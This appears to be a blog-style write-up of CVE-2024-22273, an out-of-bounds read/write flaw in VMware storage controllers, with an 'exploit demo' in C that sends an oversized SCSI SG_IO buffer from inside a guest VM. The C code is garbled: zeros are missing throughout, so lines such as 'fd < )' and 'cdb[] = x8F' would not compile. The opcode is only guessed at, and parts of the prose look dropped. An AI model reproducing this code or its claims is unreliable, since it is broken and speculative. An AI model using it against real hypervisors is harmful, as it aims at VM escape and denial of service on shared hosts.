CVE-2024-22273 - Breaking Down the VMware Storage Controller Vulnerability (With Exploit Details)

CVE-2024-22273 is a new out-of-bounds read and write vulnerability discovered in the storage controllers used by VMware ESXi, VMware Workstation, and VMware Fusion. If a bad actor has access to a virtual machine (VM) with storage controllers enabled, they can potentially exploit this bug and cause a denial-of-service (DoS)—or, even scarier, execute malicious code directly on the underlying hypervisor. This breaks the strong boundary normally enforced between a guest VM and the physical host. When combined with other minimal bugs, it could even lead to a full escape from the VM sandboxes!

VMware Fusion

Any deployment where a user or attacker can create or modify a VM with storage controllers enabled faces this risk. If you provide VM access for students, developers, or cloud customers, this bug matters a LOT to you.

Technical Details (How Does It Work?)

Storage controllers in VMware are responsible for managing how virtual disks connect to your VM. Due to improper bounds validation in the way certain storage commands are handled, a manipulative user can trick the hypervisor into reading from or writing to memory areas that they shouldn’t have access to. This happens due to bugs in the code that process specific SCSI or SATA commands sent from within a VM.

When VMware's storage controller code receives a request from the VM, it doesn’t properly check if the provided memory address or data length is inside the allowed boundaries. That means an attacker can try to:

Read sensitive memory that’s not supposed to be visible to the guest VM.

- Overwrite important memory and possibly execute malicious code in the context of the hypervisor (this is known as a VM escape).

References

- VMware Security Advisory VMSA-2024-0015
- NVD entry for CVE-2024-22273

Simple Exploit Demo

Let’s look at a simplified exploit of the storage controller bug using C code within a guest VM. (Note: This is for educational purposes only. Do not use it for any unauthorized activity!)

We'll craft a SCSI command with an out-of-bounds data buffer to trigger the vulnerability.

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <linux/scsi.h>

// WARNING: This code will crash your VM, but NOT the host unless the host is vulnerable and exploitable.

int main() {
    int fd = open("/dev/sda", O_RDWR);  // Assuming /dev/sda is the virtual disk
    if (fd < ) {
        perror("open");
        return 1;
    }

    unsigned char cdb[16] = {};
    cdb[] = x8F; // SYNCHRONIZE CACHE opcode or something unusual

    // Purposely oversize buffer to trigger out-of-bounds
    unsigned char very_large_buf[x100000] = {};

    struct sg_io_hdr io_hdr;
    memset(&io_hdr, , sizeof(io_hdr));
    io_hdr.interface_id = 'S';
    io_hdr.cmd_len = sizeof(cdb);
    io_hdr.mx_sb_len = ;
    io_hdr.dxfer_direction = SG_DXFER_TO_DEV;
    io_hdr.dxfer_len = sizeof(very_large_buf); 
    io_hdr.dxferp = very_large_buf;
    io_hdr.cmdp = cdb;

    int ret = ioctl(fd, SG_IO, &io_hdr);
    if (ret < )
        perror("ioctl");
    else
        printf("IOCTL sent\n");

    close(fd);
    return ;
}

Sends an abnormally large (out-of-bounds) buffer specifying a device command.

- The vulnerable controller code, if not patched, may read or write too much memory, causing DoS or even laying the groundwork for code execution.

Note: Real attackers use more complicated payloads to inject code!

Real-World Attack Scenarios

- Cloud providers: Any customer with the ability to upload or control VMs can try to attack your VMware infrastructure.

Shared labs: Students or malicious insiders with VM creation rights.

- Development environments: Any developer or attacker with unpatched VMware may escalate out of their guest OS.

Download and apply security patches from VMware:

VMware Patch Download Center

Final Words

CVE-2024-22273 proves that even “well-separated” VM sandboxes are not foolproof. A crafty user in a VM can break out with just one buggy storage controller and a bit of code. Don’t be the next data leak headline—patch now and always keep your hypervisors up to date!

References

- Original VMware Advisory
- NIST CVE Description

Timeline

Published on: 05/21/2024 18:15:08 UTC
Last modified on: 05/22/2024 12:46:53 UTC